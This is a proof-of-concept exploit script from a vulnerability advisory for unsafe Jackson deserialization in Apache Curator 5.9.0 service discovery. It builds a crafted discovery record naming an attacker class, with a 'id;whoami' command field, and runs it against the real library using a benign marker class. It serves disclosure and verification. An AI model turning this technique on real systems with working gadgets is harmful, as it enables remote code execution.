#!/usr/bin/env python
#
#
# Apache Curator 5.9.0 Java Deserialization
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://curator.apache.org
# Affected version: 5.9.0
#
# Summary: Apache Curator is a Java/JVM client library for Apache ZooKeeper,
# a distributed coordination service. It includes a high level API framework
# and utilities to make using Apache ZooKeeper much easier and more reliable.
# It also includes recipes for common use cases and extensions such as service
# discovery and a Java 8 asynchronous DSL.
#
# Desc: Apache Curator suffers from an unsafe deserialization vulnerability
# in its service-discovery component. The discovery payload is deserialized
# with Jackson polymorphic typing configured as Id.CLASS, which lets the serialized
# data name the Java class to instantiate, so an attacker who can publish a
# crafted discovery record (via ZooKeeper write access or rogue-service registration)
# can drive gadget-based deserialization on a consumer that reads it, resulting
# in remote code execution where a suitable gadget is present on that consumer's
# classpath.
#
# =============================================================
# > python curator_murator.py --keep
# [*] Step 1/4: fetching the real vendor jars from Maven Central
#     [>] curator-x-discovery-5.9.0.jar
#     [>] curator-client-5.9.0.jar
#     [>] jackson-databind-2.18.1.jar
#     [>] jackson-core-2.18.1.jar
#     [>] jackson-annotations-2.18.1.jar
#     [>] slf4j-api-1.7.36.jar
# [*] Step 2/4: writing Java sources
# [*] Step 3/4: compiling
# [*] Step 4/4: running against the real JsonInstanceSerializer
# --------------------------------------------------------------------
# [*] Simulated poisoned ZooKeeper discovery znode:
#     {"name":"evil-svc","id":"evil-1","address":"10.0.0.1","port":1234,"sslPort":0,"payload":{"@class":"Marker","cmd":"id;whoami"},"registrationTimeUTC":0,"serviceType":"DYNAMIC","uriSpec":null,"enabled":true}
# [*] Feeding it to the REAL curator-x-discovery JsonInstanceSerializer.deserialize()...
# >>> Marker() CONSTRUCTED from attacker-controlled @class field
# >>> setCmd("id;whoami") invoked by Jackson with attacker data
# [*] deserialize() returned; payload class = Marker
# --------------------------------------------------------------------
#
# [+] TRIGGERED: attacker class ran during curator-x-discovery deserialization.
#     Proof file PWNED_MARKER.txt:
#       >>> code ran during curator deserialize (constructor) @ Tue Oct 06 18:13:52 CEST 2026
#       >>> code ran during curator deserialize (setter cmd=id;whoami) @ Tue Oct 06 18:13:52 CEST 2026
#
#     (Marker is a benign demonstrator. Full RCE needs a real gadget on the
#      discovery consumer's classpath + the ability to write the ZK znode.)
#
# [*] work dir kept: C:\Users\curator_discovery_deser\work
#
# =============================================================
#
# Tested on: Microsoft Windows 10 (x86_64)
#            Eclipse Temurin OpenJDK 21.0.6 (LTS)
#            Jackson 2.18.1
#            SLF4J 1.7.36
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6009
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6009
#
#
# 13.08.2026
#

import urllib.request    # ...................................... #
import subprocess    # .............................................. #
import argparse    # .................................................. #
import shutil    # ...................................................... #
import sys    # ............................................................ #
import os    # .............................................................. #

r"""
Apache Curator (curator-x-discovery) 5.9.0 - unsafe Jackson @JsonTypeInfo(Id.CLASS)
deserialization of service-discovery payloads.

What it does:
  1. Downloads the REAL vendor jars from Maven Central (curator-x-discovery 5.9.0 +
     Jackson 2.18.1 that Curator pins, plus guava/slf4j for class loading).
  2. Emits a benign demonstrator class Marker.java and a driver.
  3. Compiles them and runs the driver, which feeds an attacker-controlled
     "poisoned ZooKeeper znode" (a ServiceInstance JSON whose payload carries
     "@class":"Marker") to the REAL org.apache.curator.x.discovery.details
     .JsonInstanceSerializer.deserialize(byte[]).
  4. Jackson honors the @class on ServiceInstance.getPayload()
     (@JsonTypeInfo(use=Id.CLASS, defaultImpl=Object.class)) and instantiates the
     attacker-named class + drives its setter BEFORE the library's payloadClass.cast()
     type check. Marker proves this by writing PWNED_MARKER.txt from its constructor
     and setter. The script then verifies that file exists.

Usage:
    python3 curator_murator.py            # fetch, build, run
    python3 curator_murator.py --keep     # keep the work dir and jars afterwards
"""

CURATOR_VERSION = "5.9.0"
JACKSON_VERSION = "2.18.1"
SLF4J_VERSION   = "1.7.36"
CENTRAL = "https://repo1.maven.org/maven2"

JARS = {
    f"curator-x-discovery-{CURATOR_VERSION}.jar":
        f"{CENTRAL}/org/apache/curator/curator-x-discovery/{CURATOR_VERSION}/curator-x-discovery-{CURATOR_VERSION}.jar",
    f"curator-client-{CURATOR_VERSION}.jar":
        f"{CENTRAL}/org/apache/curator/curator-client/{CURATOR_VERSION}/curator-client-{CURATOR_VERSION}.jar",
    f"jackson-databind-{JACKSON_VERSION}.jar":
        f"{CENTRAL}/com/fasterxml/jackson/core/jackson-databind/{JACKSON_VERSION}/jackson-databind-{JACKSON_VERSION}.jar",
    f"jackson-core-{JACKSON_VERSION}.jar":
        f"{CENTRAL}/com/fasterxml/jackson/core/jackson-core/{JACKSON_VERSION}/jackson-core-{JACKSON_VERSION}.jar",
    f"jackson-annotations-{JACKSON_VERSION}.jar":
        f"{CENTRAL}/com/fasterxml/jackson/core/jackson-annotations/{JACKSON_VERSION}/jackson-annotations-{JACKSON_VERSION}.jar",
    f"slf4j-api-{SLF4J_VERSION}.jar":
        f"{CENTRAL}/org/slf4j/slf4j-api/{SLF4J_VERSION}/slf4j-api-{SLF4J_VERSION}.jar",
}

MARKER_JAVA = r"""
import java.nio.file.*;
import java.nio.charset.StandardCharsets;

public class Marker {
    public Marker() {
        System.out.println(">>> Marker() CONSTRUCTED from attacker-controlled @class field");
        touch("constructor");
    }
    public void setCmd(String c) {
        System.out.println(">>> setCmd(\"" + c + "\") invoked by Jackson with attacker data");
        touch("setter cmd=" + c);
    }
    private static void touch(String where) {
        try {
            Files.write(Paths.get("PWNED_MARKER.txt"),
                (">>> code ran during curator deserialize (" + where + ") @ "
                 + new java.util.Date() + "\n").getBytes(StandardCharsets.UTF_8),
                StandardOpenOption.CREATE, StandardOpenOption.APPEND);
        } catch (Exception e) { /* ignore */ }
    }
}
"""

DRIVER_JAVA = r"""
import org.apache.curator.x.discovery.ServiceInstance;
import org.apache.curator.x.discovery.details.JsonInstanceSerializer;

public class CuratorDiscoveryPoc {
    public static void main(String[] args) throws Exception {
        String evil =
            "{\"name\":\"evil-svc\",\"id\":\"evil-1\",\"address\":\"10.0.0.1\"," +
            "\"port\":1234,\"sslPort\":0," +
            "\"payload\":{\"@class\":\"Marker\",\"cmd\":\"id;whoami\"}," +
            "\"registrationTimeUTC\":0,\"serviceType\":\"DYNAMIC\",\"uriSpec\":null,\"enabled\":true}";
        byte[] znodeBytes = evil.getBytes("UTF-8");

        System.out.println("[*] Simulated poisoned ZooKeeper discovery znode:");
        System.out.println("    " + evil);
        System.out.println("[*] Feeding it to the REAL curator-x-discovery JsonInstanceSerializer.deserialize()...");

        JsonInstanceSerializer<Object> ser = new JsonInstanceSerializer<Object>(Object.class);
        try {
            ServiceInstance<Object> si = ser.deserialize(znodeBytes);
            Object p = si.getPayload();
            System.out.println("[*] deserialize() returned; payload class = "
                + (p == null ? "null" : p.getClass().getName()));
        } catch (Throwable t) {
            System.out.println("[*] deserialize() threw AFTER payload construction (expected for some payloads): " + t);
        }
    }
}
"""

def have(tool):
    return shutil.which(tool) is not None

def download(url, dest):
    if os.path.exists(dest) and os.path.getsize(dest) > 0:
        print(f"    [=] cached {os.path.basename(dest)}")
        return
    print(f"    [>] {os.path.basename(dest)}")
    req = urllib.request.Request(url, headers={"User-Agent": "curator-murator/6.10"})
    with urllib.request.urlopen(req, timeout=60) as r, open(dest, "wb") as f:
        shutil.copyfileobj(r, f)
    if os.path.getsize(dest) == 0:
        raise RuntimeError(f"empty download: {url}")

def main():
    ap = argparse.ArgumentParser(description="Automated Apache Curator discovery deser PoC")
    ap.add_argument("--work", default=os.path.join(os.path.dirname(os.path.abspath(__file__)), "work"),
                    help="work directory (default: ./work next to this script)")
    ap.add_argument("--keep", action="store_true", help="keep the work dir afterwards")
    a = ap.parse_args()

    for t in ("java", "javac"):
        if not have(t):
            sys.exit(f"[!] '{t}' not found on PATH. Install a JDK (e.g. Temurin) and retry.")

    work = a.work
    lib = os.path.join(work, "lib")
    os.makedirs(lib, exist_ok=True)

    print("[*] Step 1/4: fetching the real vendor jars from Maven Central")
    for name, url in JARS.items():
        download(url, os.path.join(lib, name))

    print("[*] Step 2/4: writing Java sources")
    with open(os.path.join(work, "Marker.java"), "w", encoding="utf-8") as f:
        f.write(MARKER_JAVA)
    with open(os.path.join(work, "CuratorDiscoveryPoc.java"), "w", encoding="utf-8") as f:
        f.write(DRIVER_JAVA)

    jars = [os.path.join("lib", n) for n in JARS]
    cp = os.pathsep.join(jars + ["."])
    marker = os.path.join(work, "PWNED_MARKER.txt")
    if os.path.exists(marker):
        os.remove(marker)

    print("[*] Step 3/4: compiling")
    rc = subprocess.run(["javac", "-cp", cp, "Marker.java", "CuratorDiscoveryPoc.java"],
                        cwd=work)
    if rc.returncode != 0:
        sys.exit("[!] compilation failed")

    print("[*] Step 4/4: running against the real JsonInstanceSerializer\n" + "-" * 68)
    subprocess.run(["java", "-cp", cp, "CuratorDiscoveryPoc"], cwd=work)
    print("-" * 68)

    if os.path.exists(marker) and os.path.getsize(marker) > 0:
        print("\n[+] TRIGGERED: attacker class ran during curator-x-discovery deserialization.")
        print("    Proof file PWNED_MARKER.txt:")
        with open(marker, encoding="utf-8") as f:
            for line in f:
                print("      " + line.rstrip())
        print("\n    (Marker is a benign demonstrator. Full RCE needs a real gadget on the")
        print("     discovery consumer's classpath + the ability to write the ZK znode.)")
        result = 0
    else:
        print("\n[-] No proof file produced - the payload did not instantiate the attacker class.")
        result = 1

    if a.keep:
        print(f"\n[*] work dir kept: {work}")
    else:
        shutil.rmtree(work, ignore_errors=True)
        print("\n[*] cleaned up work dir (use --keep to retain jars + sources)")
    sys.exit(result)


if __name__ == "__main__":
    main()